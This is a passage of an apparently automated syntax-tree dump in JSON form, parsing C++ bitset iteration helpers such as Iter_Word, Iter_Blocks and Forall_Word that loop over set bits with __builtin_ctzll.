"start_point": {"row": 47, "column": 10}, "end_point": {"row": 47, "column": 14}}, {"id": 467, "type": "&=", "text": "&=", "parent": 465, "children": [], "start_point": {"row": 47, "column": 15}, "end_point": {"row": 47, "column": 17}}, {"id": 468, "type": "parenthesized_expression", "text": "(mask-1)", "parent": 465, "children": [469], "start_point": {"row": 47, "column": 18}, "end_point": {"row": 47, "column": 26}}, {"id": 469, "type": "binary_expression", "text": "mask-1", "parent": 468, "children": [470, 471, 472], "start_point": {"row": 47, "column": 19}, "end_point": {"row": 47, "column": 25}}, {"id": 470, "type": "identifier", "text": "mask", "parent": 469, "children": [], "start_point": {"row": 47, "column": 19}, "end_point": {"row": 47, "column": 23}}, {"id": 471, "type": "-", "text": "-", "parent": 469, "children": [], "start_point": {"row": 47, "column": 23}, "end_point": {"row": 47, "column": 24}}, {"id": 472, "type": "number_literal", "text": "1", "parent": 469, "children": [], "start_point": {"row": 47, "column": 24}, "end_point": {"row": 47, "column": 25}}, {"id": 473, "type": "call_expression", "text": "f(base + offset)", "parent": 455, "children": [474, 475], "start_point": {"row": 48, "column": 10}, "end_point": {"row": 48, "column": 26}}, {"id": 474, "type": "identifier", "text": "f", "parent": 473, "children": [], "start_point": {"row": 48, "column": 10}, "end_point": {"row": 48, "column": 11}}, {"id": 475, "type": "argument_list", "text": "(base + offset)", "parent": 473, "children": [476], "start_point": {"row": 48, "column": 11}, "end_point": {"row": 48, "column": 26}}, {"id": 476, "type": "binary_expression", "text": "base + offset", "parent": 475, "children": [477, 478, 479], "start_point": {"row": 48, "column": 12}, "end_point": {"row": 48, "column": 25}}, {"id": 477, "type": "identifier", "text": "base", "parent": 476, "children": [], "start_point": {"row": 48, "column": 12}, "end_point": {"row": 48, "column": 16}}, {"id": 478, "type": "+", "text": "+", "parent": 476, "children": [], "start_point": {"row": 48, "column": 17}, "end_point": {"row": 48, "column": 18}}, {"id": 479, "type": "identifier", "text": "offset", "parent": 476, "children": [], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 25}}, {"id": 480, "type": "assignment_expression", "text": "base += 64", "parent": 445, "children": [481, 482, 483], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 18}}, {"id": 481, "type": "identifier", "text": "base", "parent": 480, "children": [], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 12}}, {"id": 482, "type": "+=", "text": "+=", "parent": 480, "children": [], "start_point": {"row": 50, "column": 13}, "end_point": {"row": 50, "column": 15}}, {"id": 483, "type": "number_literal", "text": "64", "parent": 480, "children": [], "start_point": {"row": 50, "column": 16}, "end_point": {"row": 50, "column": 18}}, {"id": 484, "type": "binary_expression", "text": "template<class F>\n inline", "parent": 12, "children": [485, 488, 490, 491], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 55, "column": 12}}, {"id": 485, "type": "binary_expression", "text": "template<class", "parent": 484, "children": [486, 487], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 18}}, {"id": 486, "type": "identifier", "text": "template", "parent": 485, "children": [], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 12}}, {"id": 487, "type": "<", "text": "<", "parent": 485, "children": [], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 13}}, {"id": 488, "type": "ERROR", "text": "F", "parent": 484, "children": [489], "start_point": {"row": 54, "column": 19}, "end_point": {"row": 54, "column": 20}}, {"id": 489, "type": "identifier", "text": "F", "parent": 488, "children": [], "start_point": {"row": 54, "column": 19}, "end_point": {"row": 54, "column": 20}}, {"id": 490, "type": ">", "text": ">", "parent": 484, "children": [], "start_point": {"row": 54, "column": 20}, "end_point": {"row": 54, "column": 21}}, {"id": 491, "type": "identifier", "text": "inline", "parent": 484, "children": [], "start_point": {"row": 55, "column": 6}, "end_point": {"row": 55, "column": 12}}, {"id": 492, "type": "function_definition", "text": "void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }", "parent": 12, "children": [493, 494], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 61, "column": 5}}, {"id": 493, "type": "primitive_type", "text": "void", "parent": 492, "children": [], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 55, "column": 17}}, {"id": 494, "type": "function_declarator", "text": "Iter_Word(int base, uint64_t word, F f)", "parent": 492, "children": [495, 496], "start_point": {"row": 55, "column": 18}, "end_point": {"row": 55, "column": 57}}, {"id": 495, "type": "identifier", "text": "Iter_Word", "parent": 494, "children": [], "start_point": {"row": 55, "column": 18}, "end_point": {"row": 55, "column": 27}}, {"id": 496, "type": "parameter_list", "text": "(int base, uint64_t word, F f)", "parent": 494, "children": [497, 500, 503], "start_point": {"row": 55, "column": 27}, "end_point": {"row": 55, "column": 57}}, {"id": 497, "type": "parameter_declaration", "text": "int base", "parent": 496, "children": [498, 499], "start_point": {"row": 55, "column": 28}, "end_point": {"row": 55, "column": 36}}, {"id": 498, "type": "primitive_type", "text": "int", "parent": 497, "children": [], "start_point": {"row": 55, "column": 28}, "end_point": {"row": 55, "column": 31}}, {"id": 499, "type": "identifier", "text": "base", "parent": 497, "children": [], "start_point": {"row": 55, "column": 32}, "end_point": {"row": 55, "column": 36}}, {"id": 500, "type": "parameter_declaration", "text": "uint64_t word", "parent": 496, "children": [501, 502], "start_point": {"row": 55, "column": 38}, "end_point": {"row": 55, "column": 51}}, {"id": 501, "type": "primitive_type", "text": "uint64_t", "parent": 500, "children": [], "start_point": {"row": 55, "column": 38}, "end_point": {"row": 55, "column": 46}}, {"id": 502, "type": "identifier", "text": "word", "parent": 500, "children": [], "start_point": {"row": 55, "column": 47}, "end_point": {"row": 55, "column": 51}}, {"id": 503, "type": "parameter_declaration", "text": "F f", "parent": 496, "children": [504, 505], "start_point": {"row": 55, "column": 53}, "end_point": {"row": 55, "column": 56}}, {"id": 504, "type": "type_identifier", "text": "F", "parent": 503, "children": [], "start_point": {"row": 55, "column": 53}, "end_point": {"row": 55, "column": 54}}, {"id": 505, "type": "identifier", "text": "f", "parent": 503, "children": [], "start_point": {"row": 55, "column": 55}, "end_point": {"row": 55, "column": 56}}, {"id": 506, "type": "while_statement", "text": "while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }", "parent": 492, "children": [507], "start_point": {"row": 56, "column": 6}, "end_point": {"row": 60, "column": 7}}, {"id": 507, "type": "parenthesized_expression", "text": "(word)", "parent": 506, "children": [508], "start_point": {"row": 56, "column": 11}, "end_point": {"row": 56, "column": 17}}, {"id": 508, "type": "identifier", "text": "word", "parent": 507, "children": [], "start_point": {"row": 56, "column": 12}, "end_point": {"row": 56, "column": 16}}, {"id": 509, "type": "declaration", "text": "unsigned offset(__builtin_ctzll(word));", "parent": 506, "children": [510, 512], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 47}}, {"id": 510, "type": "sized_type_specifier", "text": "unsigned", "parent": 509, "children": [511], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 16}}, {"id": 511, "type": "unsigned", "text": "unsigned", "parent": 510, "children": [], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 16}}, {"id": 512, "type": "function_declarator", "text": "offset(__builtin_ctzll(word))", "parent": 509, "children": [513, 514], "start_point": {"row": 57, "column": 17}, "end_point": {"row": 57, "column": 46}}, {"id": 513, "type": "identifier", "text": "offset", "parent": 512, "children": [], "start_point": {"row": 57, "column": 17}, "end_point": {"row": 57, "column": 23}}, {"id": 514, "type": "parameter_list", "text": "(__builtin_ctzll(word))", "parent": 512, "children": [515], "start_point": {"row": 57, "column": 23}, "end_point": {"row": 57, "column": 46}}, {"id": 515, "type": "parameter_declaration", "text": "__builtin_ctzll(word)", "parent": 514, "children": [516, 517], "start_point": {"row": 57, "column": 24}, "end_point": {"row": 57, "column": 45}}, {"id": 516, "type": "type_identifier", "text": "__builtin_ctzll", "parent": 515, "children": [], "start_point": {"row": 57, "column": 24}, "end_point": {"row": 57, "column": 39}}, {"id": 517, "type": "abstract_function_declarator", "text": "(word)", "parent": 515, "children": [518], "start_point": {"row": 57, "column": 39}, "end_point": {"row": 57, "column": 45}}, {"id": 518, "type": "parameter_list", "text": "(word)", "parent": 517, "children": [519], "start_point": {"row": 57, "column": 39}, "end_point": {"row": 57, "column": 45}}, {"id": 519, "type": "parameter_declaration", "text": "word", "parent": 518, "children": [520], "start_point": {"row": 57, "column": 40}, "end_point": {"row": 57, "column": 44}}, {"id": 520, "type": "type_identifier", "text": "word", "parent": 519, "children": [], "start_point": {"row": 57, "column": 40}, "end_point": {"row": 57, "column": 44}}, {"id": 521, "type": "assignment_expression", "text": "word &= (word-1)", "parent": 506, "children": [522, 523, 524], "start_point": {"row": 58, "column": 8}, "end_point": {"row": 58, "column": 24}}, {"id": 522, "type": "identifier", "text": "word", "parent": 521, "children": [], "start_point": {"row": 58, "column": 8}, "end_point": {"row": 58, "column": 12}}, {"id": 523, "type": "&=", "text": "&=", "parent": 521, "children": [], "start_point": {"row": 58, "column": 13}, "end_point": {"row": 58, "column": 15}}, {"id": 524, "type": "parenthesized_expression", "text": "(word-1)", "parent": 521, "children": [525], "start_point": {"row": 58, "column": 16}, "end_point": {"row": 58, "column": 24}}, {"id": 525, "type": "binary_expression", "text": "word-1", "parent": 524, "children": [526, 527, 528], "start_point": {"row": 58, "column": 17}, "end_point": {"row": 58, "column": 23}}, {"id": 526, "type": "identifier", "text": "word", "parent": 525, "children": [], "start_point": {"row": 58, "column": 17}, "end_point": {"row": 58, "column": 21}}, {"id": 527, "type": "-", "text": "-", "parent": 525, "children": [], "start_point": {"row": 58, "column": 21}, "end_point": {"row": 58, "column": 22}}, {"id": 528, "type": "number_literal", "text": "1", "parent": 525, "children": [], "start_point": {"row": 58, "column": 22}, "end_point": {"row": 58, "column": 23}}, {"id": 529, "type": "call_expression", "text": "f(base + offset)", "parent": 506, "children": [530, 531], "start_point": {"row": 59, "column": 8}, "end_point": {"row": 59, "column": 24}}, {"id": 530, "type": "identifier", "text": "f", "parent": 529, "children": [], "start_point": {"row": 59, "column": 8}, "end_point": {"row": 59, "column": 9}}, {"id": 531, "type": "argument_list", "text": "(base + offset)", "parent": 529, "children": [532], "start_point": {"row": 59, "column": 9}, "end_point": {"row": 59, "column": 24}}, {"id": 532, "type": "binary_expression", "text": "base + offset", "parent": 531, "children": [533, 534, 535], "start_point": {"row": 59, "column": 10}, "end_point": {"row": 59, "column": 23}}, {"id": 533, "type": "identifier", "text": "base", "parent": 532, "children": [], "start_point": {"row": 59, "column": 10}, "end_point": {"row": 59, "column": 14}}, {"id": 534, "type": "+", "text": "+", "parent": 532, "children": [], "start_point": {"row": 59, "column": 15}, "end_point": {"row": 59, "column": 16}}, {"id": 535, "type": "identifier", "text": "offset", "parent": 532, "children": [], "start_point": {"row": 59, "column": 17}, "end_point": {"row": 59, "column": 23}}, {"id": 536, "type": "binary_expression", "text": "template<class F>\n inline", "parent": 12, "children": [537, 540, 542, 543], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 63, "column": 12}}, {"id": 537, "type": "binary_expression", "text": "template<class", "parent": 536, "children": [538, 539], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 62, "column": 18}}, {"id": 538, "type": "identifier", "text": "template", "parent": 537, "children": [], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 62, "column": 12}}, {"id": 539, "type": "<", "text": "<", "parent": 537, "children": [], "start_point": {"row": 62, "column": 12}, "end_point": {"row": 62, "column": 13}}, {"id": 540, "type": "ERROR", "text": "F", "parent": 536, "children": [541], "start_point": {"row": 62, "column": 19}, "end_point": {"row": 62, "column": 20}}, {"id": 541, "type": "identifier", "text": "F", "parent": 540, "children": [], "start_point": {"row": 62, "column": 19}, "end_point": {"row": 62, "column": 20}}, {"id": 542, "type": ">", "text": ">", "parent": 536, "children": [], "start_point": {"row": 62, "column": 20}, "end_point": {"row": 62, "column": 21}}, {"id": 543, "type": "identifier", "text": "inline", "parent": 536, "children": [], "start_point": {"row": 63, "column": 6}, "end_point": {"row": 63, "column": 12}}, {"id": 544, "type": "declaration", "text": "void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }", "parent": 12, "children": [545, 546], "start_point": {"row": 63, "column": 13}, "end_point": {"row": 70, "column": 5}}, {"id": 545, "type": "primitive_type", "text": "void", "parent": 544, "children": [], "start_point": {"row": 63, "column": 13}, "end_point": {"row": 63, "column": 17}}, {"id": 546, "type": "init_declarator", "text": "Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }", "parent": 544, "children": [547, 566, 567, 569], "start_point": {"row": 63, "column": 18}, "end_point": {"row": 70, "column": 5}}, {"id": 547, "type": "function_declarator", "text": "Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base", "parent": 546, "children": [548, 549], "start_point": {"row": 63, "column": 18}, "end_point": {"row": 63, "column": 69}}, {"id": 548, "type": "identifier", "text": "Iter_Blocks", "parent": 547, "children": [], "start_point": {"row": 63, "column": 18}, "end_point": {"row": 63, "column": 29}}, {"id": 549, "type": "parameter_list", "text": "(uint64_t* b, uint64_t* e, F f, int base", "parent": 547, "children": [550, 555, 560, 563], "start_point": {"row": 63, "column": 29}, "end_point": {"row": 63, "column": 69}}, {"id": 550, "type": "parameter_declaration", "text": "uint64_t* b", "parent": 549, "children": [551, 552], "start_point": {"row": 63, "column": 30}, "end_point": {"row": 63, "column": 41}}, {"id": 551, "type": "primitive_type", "text": "uint64_t", "parent": 550, "children": [], "start_point": {"row": 63, "column": 30}, "end_point": {"row": 63, "column": 38}}, {"id": 552, "type": "pointer_declarator", "text": "* b", "parent": 550, "children": [553, 554], "start_point": {"row": 63, "column": 38}, "end_point": {"row": 63, "column": 41}}, {"id": 553, "type": "*", "text": "*", "parent": 552, "children": [], "start_point": {"row": 63, "column": 38}, "end_point": {"row": 63, "column": 39}}, {"id": 554, "type": "identifier", "text": "b", "parent": 552, "children": [], "start_point": {"row": 63, "column": 40}, "end_point": {"row": 63, "column": 41}}, {"id": 555, "type": "parameter_declaration", "text": "uint64_t* e", "parent": 549, "children": [556, 557], "start_point": {"row": 63, "column": 43}, "end_point": {"row": 63, "column": 54}}, {"id": 556, "type": "primitive_type", "text": "uint64_t", "parent": 555, "children": [], "start_point": {"row": 63, "column": 43}, "end_point": {"row": 63, "column": 51}}, {"id": 557, "type": "pointer_declarator", "text": "* e", "parent": 555, "children": [558, 559], "start_point": {"row": 63, "column": 51}, "end_point": {"row": 63, "column": 54}}, {"id": 558, "type": "*", "text": "*", "parent": 557, "children": [], "start_point": {"row": 63, "column": 51}, "end_point": {"row": 63, "column": 52}}, {"id": 559, "type": "identifier", "text": "e", "parent": 557, "children": [], "start_point": {"row": 63, "column": 53}, "end_point": {"row": 63, "column": 54}}, {"id": 560, "type": "parameter_declaration", "text": "F f", "parent": 549, "children": [561, 562], "start_point": {"row": 63, "column": 56}, "end_point": {"row": 63, "column": 59}}, {"id": 561, "type": "type_identifier", "text": "F", "parent": 560, "children": [], "start_point": {"row": 63, "column": 56}, "end_point": {"row": 63, "column": 57}}, {"id": 562, "type": "identifier", "text": "f", "parent": 560, "children": [], "start_point": {"row": 63, "column": 58}, "end_point": {"row": 63, "column": 59}}, {"id": 563, "type": "parameter_declaration", "text": "int base", "parent": 549, "children": [564, 565], "start_point": {"row": 63, "column": 61}, "end_point": {"row": 63, "column": 69}}, {"id": 564, "type": "primitive_type", "text": "int", "parent": 563, "children": [], "start_point": {"row": 63, "column": 61}, "end_point": {"row": 63, "column": 64}}, {"id": 565, "type": "identifier", "text": "base", "parent": 563, "children": [], "start_point": {"row": 63, "column": 65}, "end_point": {"row": 63, "column": 69}}, {"id": 566, "type": "=", "text": "=", "parent": 546, "children": [], "start_point": {"row": 63, "column": 70}, "end_point": {"row": 63, "column": 71}}, {"id": 567, "type": "ERROR", "text": "0)", "parent": 546, "children": [568], "start_point": {"row": 63, "column": 72}, "end_point": {"row": 63, "column": 74}}, {"id": 568, "type": "number_literal", "text": "0", "parent": 567, "children": [], "start_point": {"row": 63, "column": 72}, "end_point": {"row": 63, "column": 73}}, {"id": 569, "type": "initializer_list", "text": "{\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }", "parent": 546, "children": [570, 581], "start_point": {"row": 63, "column": 75}, "end_point": {"row": 70, "column": 5}}, {"id": 570, "type": "ERROR", "text": "for(; b != e; ++b)", "parent": 569, "children": [571], "start_point": {"row": 64, "column": 7}, "end_point": {"row": 64, "column": 25}}, {"id": 571, "type": "call_expression", "text": "for(; b != e; ++b)", "parent": 570, "children": [572], "start_point": {"row": 64, "column": 7}, "end_point": {"row": 64, "column": 25}}, {"id": 572, "type": "argument_list", "text": "(; b != e; ++b)", "parent": 571, "children": [573, 580], "start_point": {"row": 64, "column": 10}, "end_point": {"row": 64, "column": 25}}, {"id": 573, "type": "ERROR", "text": "; b != e; ++", "parent": 572, "children": [574], "start_point": {"row": 64, "column": 11}, "end_point": {"row": 64, "column": 23}}, {"id": 574, "type": "update_expression", "text": "b != e; ++", "parent": 573, "children": [575, 579], "start_point": {"row": 64, "column": 13}, "end_point": {"row": 64, "column": 23}}, {"id": 575, "type": "binary_expression", "text": "b != e", "parent": 574, "children": [576, 577, 578], "start_point": {"row": 64, "column": 13}, "end_point": {"row": 64, "column": 19}}, {"id": 576, "type": "identifier", "text": "b", "parent": 575, "children": [], "start_point": {"row": 64, "column": 13}, "end_point": {"row": 64, "column": 14}}, {"id": 577, "type": "!=", "text": "!=", "parent": 575, "children": [], "start_point": {"row": 64, "column": 15}, "end_point": {"row": 64, "column": 17}}, {"id": 578, "type": "identifier", "text": "e", "parent": 575, "children": [], "start_point": {"row": 64, "column": 18}, "end_point": {"row": 64, "column": 19}}, {"id": 579, "type": "++", "text": "++", "parent": 574, "children": [], "start_point": {"row": 64, "column": 21}, "end_point": {"row": 64, "column": 23}}, {"id": 580, "type": "identifier", "text": "b", "parent": 572, "children": [], "start_point": {"row": 64, "column": 23}, "end_point": {"row": 64, "column": 24}}, {"id": 581, "type": "initializer_list", "text": "{\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }", "parent": 569, "children": [582, 596], "start_point": {"row": 64, "column": 26}, "end_point": {"row": 69, "column": 7}}, {"id": 582, "type": "ERROR", "text": "uint64_t mask(*b);\n if(mask)\n f(base, mask);", "parent": 581, "children": [583, 584, 590, 591], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 67, "column": 24}}, {"id": 583, "type": "identifier", "text": "uint64_t", "parent": 582, "children": [], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 65, "column": 16}}, {"id": 584, "type": "call_expression", "text": "mask(*b)", "parent": 582, "children": [585, 586], "start_point": {"row": 65, "column": 17}, "end_point": {"row": 65, "column": 25}}, {"id": 585, "type": "identifier", "text": "mask", "parent": 584, "children": [], "start_point": {"row": 65, "column": 17}, "end_point": {"row": 65, "column": 21}}, {"id": 586, "type": "argument_list", "text": "(*b)", "parent": 584, "children": [587], "start_point": {"row": 65, "column": 21}, "end_point": {"row": 65, "column": 25}}, {"id": 587, "type": "pointer_expression", "text": "*b", "parent": 586, "children": [588, 589], "start_point": {"row": 65, "column": 22}, "end_point": {"row": 65, "column": 24}}, {"id": 588, "type": "*", "text": "*", "parent": 587, "children": [], "start_point": {"row": 65, "column": 22}, "end_point": {"row": 65, "column": 23}}, {"id": 589, "type": "identifier", "text": "b", "parent": 587, "children": [], "start_point": {"row": 65, "column": 23}, "end_point": {"row": 65, "column": 24}}, {"id": 590, "type": "identifier", "text": "mask", "parent": 582, "children": [], "start_point": {"row": 66, "column": 11}, "end_point": {"row": 66, "column": 15}}, {"id": 591, "type": "call_expression", "text": "f(base, mask)", "parent": 582, "children": [592, 593], "start_point": {"row": 67, "column": 10}, "end_point": {"row": 67, "column": 23}}, {"id": 592, "type": "identifier", "text": "f", "parent": 591, "children": [], "start_point": {"row": 67, "column": 10}, "end_point": {"row": 67, "column": 11}}, {"id": 593, "type": "argument_list", "text": "(base, mask)", "parent": 591, "children": [594, 595], "start_point": {"row": 67, "column": 11}, "end_point": {"row": 67, "column": 23}}, {"id": 594, "type": "identifier", "text": "base", "parent": 593, "children": [], "start_point": {"row": 67, "column": 12}, "end_point": {"row": 67, "column": 16}}, {"id": 595, "type": "identifier", "text": "mask", "parent": 593, "children": [], "start_point": {"row": 67, "column": 18}, "end_point": {"row": 67, "column": 22}}, {"id": 596, "type": "assignment_expression", "text": "base += 64", "parent": 581, "children": [597, 598, 599], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 18}}, {"id": 597, "type": "identifier", "text": "base", "parent": 596, "children": [], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 12}}, {"id": 598, "type": "+=", "text": "+=", "parent": 596, "children": [], "start_point": {"row": 68, "column": 13}, "end_point": {"row": 68, "column": 15}}, {"id": 599, "type": "number_literal", "text": "64", "parent": 596, "children": [], "start_point": {"row": 68, "column": 16}, "end_point": {"row": 68, "column": 18}}, {"id": 600, "type": "binary_expression", "text": "template<class F>\n inline", "parent": 12, "children": [601, 604, 606, 607], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 72, "column": 12}}, {"id": 601, "type": "binary_expression", "text": "template<class", "parent": 600, "children": [602, 603], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 18}}, {"id": 602, "type": "identifier", "text": "template", "parent": 601, "children": [], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 12}}, {"id": 603, "type": "<", "text": "<", "parent": 601, "children": [], "start_point": {"row": 71, "column": 12}, "end_point": {"row": 71, "column": 13}}, {"id": 604, "type": "ERROR", "text": "F", "parent": 600, "children": [605], "start_point": {"row": 71, "column": 19}, "end_point": {"row": 71, "column": 20}}, {"id": 605, "type": "identifier", "text": "F", "parent": 604, "children": [], "start_point": {"row": 71, "column": 19}, "end_point": {"row": 71, "column": 20}}, {"id": 606, "type": ">", "text": ">", "parent": 600, "children": [], "start_point": {"row": 71, "column": 20}, "end_point": {"row": 71, "column": 21}}, {"id": 607, "type": "identifier", "text": "inline", "parent": 600, "children": [], "start_point": {"row": 72, "column": 6}, "end_point": {"row": 72, "column": 12}}, {"id": 608, "type": "function_definition", "text": "bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }", "parent": 12, "children": [609, 610], "start_point": {"row": 72, "column": 13}, "end_point": {"row": 80, "column": 5}}, {"id": 609, "type": "primitive_type", "text": "bool", "parent": 608, "children": [], "start_point": {"row": 72, "column": 13}, "end_point": {"row": 72, "column": 17}}, {"id": 610, "type": "function_declarator", "text": "Forall_Word(int base, uint64_t word, F f)", "parent": 608, "children": [611, 612], "start_point": {"row": 72, "column": 18}, "end_point": {"row": 72, "column": 59}}, {"id": 611, "type": "identifier", "text": "Forall_Word", "parent": 610, "children": [], "start_point": {"row": 72, "column": 18}, "end_point": {"row": 72, "column": 29}}, {"id": 612, "type": "parameter_list", "text": "(int base, uint64_t word, F f)", "parent": 610, "children": [613, 616, 619], "start_point": {"row": 72, "column": 29}, "end_point": {"row": 72, "column": 59}}, {"id": 613, "type": "parameter_declaration", "text": "int base", "parent": 612, "children": [614, 615], "start_point": {"row": 72, "column": 30}, "end_point": {"row": 72, "column": 38}}, {"id": 614, "type": "primitive_type", "text": "int", "parent": 613, "children": [], "start_point": {"row": 72, "column": 30}, "end_point": {"row": 72, "column": 33}}, {"id": 615, "type": "identifier", "text": "base", "parent": 613, "children": [], "start_point": {"row": 72, "column": 34}, "end_point": {"row": 72, "column": 38}}, {"id": 616, "type": "parameter_declaration", "text": "uint64_t word", "parent": 612, "children": [617, 618], "start_point": {"row": 72, "column": 40}, "end_point": {"row": 72, "column": 53}}, {"id": 617, "type": "primitive_type", "text": "uint64_t", "parent": 616, "children": [], "start_point": {"row": 72, "column": 40}, "end_point": {"row": 72, "column": 48}}, {"id": 618, "type": "identifier", "text": "word", "parent": 616, "children": [], "start_point": {"row": 72, "column": 49}, "end_point": {"row": 72, "column": 53}}, {"id": 619, "type": "parameter_declaration", "text": "F f", "parent": 612, "children": [620, 621], "start_point": {"row": 72, "column": 55}, "end_point": {"row": 72, "column": 58}}, {"id": 620, "type": "type_identifier", "text": "F", "parent": 619, "children": [], "start_point": {"row": 72, "column": 55}, "end_point": {"row": 72, "column": 56}}, {"id": 621, "type": "identifier", "text": "f", "parent": 619, "children": [], "start_point": {"row": 72, "column": 57}, "end_point": {"row": 72, "column": 58}}, {"id": 622, "type": "while_statement", "text": "while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }", "parent": 608, "children": [623], "start_point": {"row": 73, "column": 6}, "end_point": {"row": 78, "column": 7}}, {"id": 623, "type": "parenthesized_expression", "text": "(word)", "parent": 622, "children": [624], "start_point": {"row": 73, "column": 11}, "end_point": {"row": 73, "column": 17}}, {"id": 624, "type": "identifier", "text": "word", "parent": 623, "children": [], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 16}}, {"id": 625, "type": "declaration", "text": "unsigned offset(__builtin_ctzll(word));", "parent": 622, "children": [626, 628], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 47}}, {"id": 626, "type": "sized_type_specifier", "text": "unsigned", "parent": 625, "children": [627], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 16}}, {"id": 627, "type": "unsigned", "text": "unsigned", "parent": 626, "children": [], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 16}}, {"id": 628, "type": "function_declarator", "text": "offset(__builtin_ctzll(word))", "parent": 625, "children": [629, 630], "start_point": {"row": 74, "column": 17}, "end_point": {"row": 74, "column": 46}}, {"id": 629, "type": "identifier", "text": "offset", "parent": 628, "children": [], "start_point": {"row": 74, "column": 17}, "end_point": {"row": 74, "column": 23}}, {"id": 630, "type": "parameter_list", "text": "(__builtin_ctzll(word))", "parent": 628, "children": [631], "start_point": {"row": 74, "column": 23}, "end_point": {"row": 74, "column": 46}}, {"id": 631, "type": "parameter_declaration", "text": "__builtin_ctzll(word)", "parent": 630, "children": [632, 633], "start_point": {"row": 74, "column": 24}, "end_point": {"row": 74, "column": 45}}, {"id": 632, "type": "type_identifier", "text": "__builtin_ctzll", "parent": 631, "children": [], "start_point": {"row": 74, "column": 24}, "end_point": {"row": 74, "column": 39}}, {"id": 633, "type": "abstract_function_declarator", "text": "(word)", "parent": 631, "children": [634], "start_point": {"row": 74, "column": 39}, "end_point": {"row": 74, "column": 45}}, {"id": 634, "type": "parameter_list", "text": "(word)", "parent": 633, "children": [635], "start_point": {"row": 74, "column": 39}, "end_point": {"row": 74, "column": 45}}, {"id": 635, "type": "parameter_declaration", "text": "word", "parent": 634, "children": [636], "start_point": {"row": 74, "column": 40}, "end_point": {"row": 74, "column": 44}}, {"id": 636, "type": "type_identifier", "text": "word", "parent": 635, "children": [], "start_point": {"row": 74, "column": 40}, "end_point": {"row": 74, "column": 44}}, {"id": 637, "type": "assignment_expression", "text": "word &= (word-1)", "parent": 622, "children": [638, 639, 640], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 24}}, {"id": 638, "type": "identifier", "text": "word", "parent": 637, "children": [], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 12}}, {"id": 639, "type": "&=", "text": "&=", "parent": 637, "children": [], "start_point": {"row": 75, "column": 13}, "end_point": {"row": 75, "column": 15}}, {"id": 640, "type": "parenthesized_expression", "text": "(word-1)", "parent": 637, "children": [641], "start_point": {"row": 75, "column": 16}, "end_point": {"row": 75, "column": 24}}, {"id": 641, "type": "binary_expression", "text": "word-1", "parent": 640, "children": [642, 643, 644], "start_point": {"row": 75, "column": 17}, "end_point": {"row": 75, "column": 23}}, {"id": 642, "type": "identifier", "text": "word", "parent": 641, "children": [], "start_point": {"row": 75, "column": 17}, "end_point": {"row": 75, "column": 21}}, {"id": 643, "type": "-", "text": "-", "parent": 641, "children": [], "start_point": {"row": 75, "column": 21}, "end_point": {"row": 75, "column": 22}}, {"id": 644, "type": "number_literal", "text": "1", "parent": 641, "children": [], "start_point": {"row": 75, "column": 22}, "end_point": {"row": 75, "column": 23}}, {"id": 645, "type": "if_statement", "text": "if(!f(base + offset))\n return false;", "parent": 622, "children": [646, 656], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 77, "column": 23}}, {"id": 646, "type": "parenthesized_expression", "text": "(!f(base + offset))", "parent": 645, "children": [647], "start_point": {"row": 76, "column": 10}, "end_point": {"row": 76, "column": 29}}, {"id": 647, "type": "unary_expression", "text": "!f(base + offset)", "parent": 646, "children": [648, 649], "start_point": {"row": 76, "column": 11}, "end_point": {"row": 76, "column": 28}}, {"id": 648, "type": "!", "text": "!", "parent": 647, "children": [], "start_point": {"row": 76, "column": 11}, "end_point": {"row": 76, "column": 12}}, {"id": 649, "type": "call_expression", "text": "f(base + offset)", "parent": 647, "children": [650, 651], "start_point": {"row": 76, "column": 12}, "end_point": {"row": 76, "column": 28}}, {"id": 650, "type": "identifier", "text": "f", "parent": 649, "children": [], "start_point": {"row": 76, "column": 12}, "end_point": {"row": 76, "column": 13}}, {"id": 651, "type": "argument_list", "text": "(base + offset)", "parent": 649, "children": [652], "start_point": {"row": 76, "column": 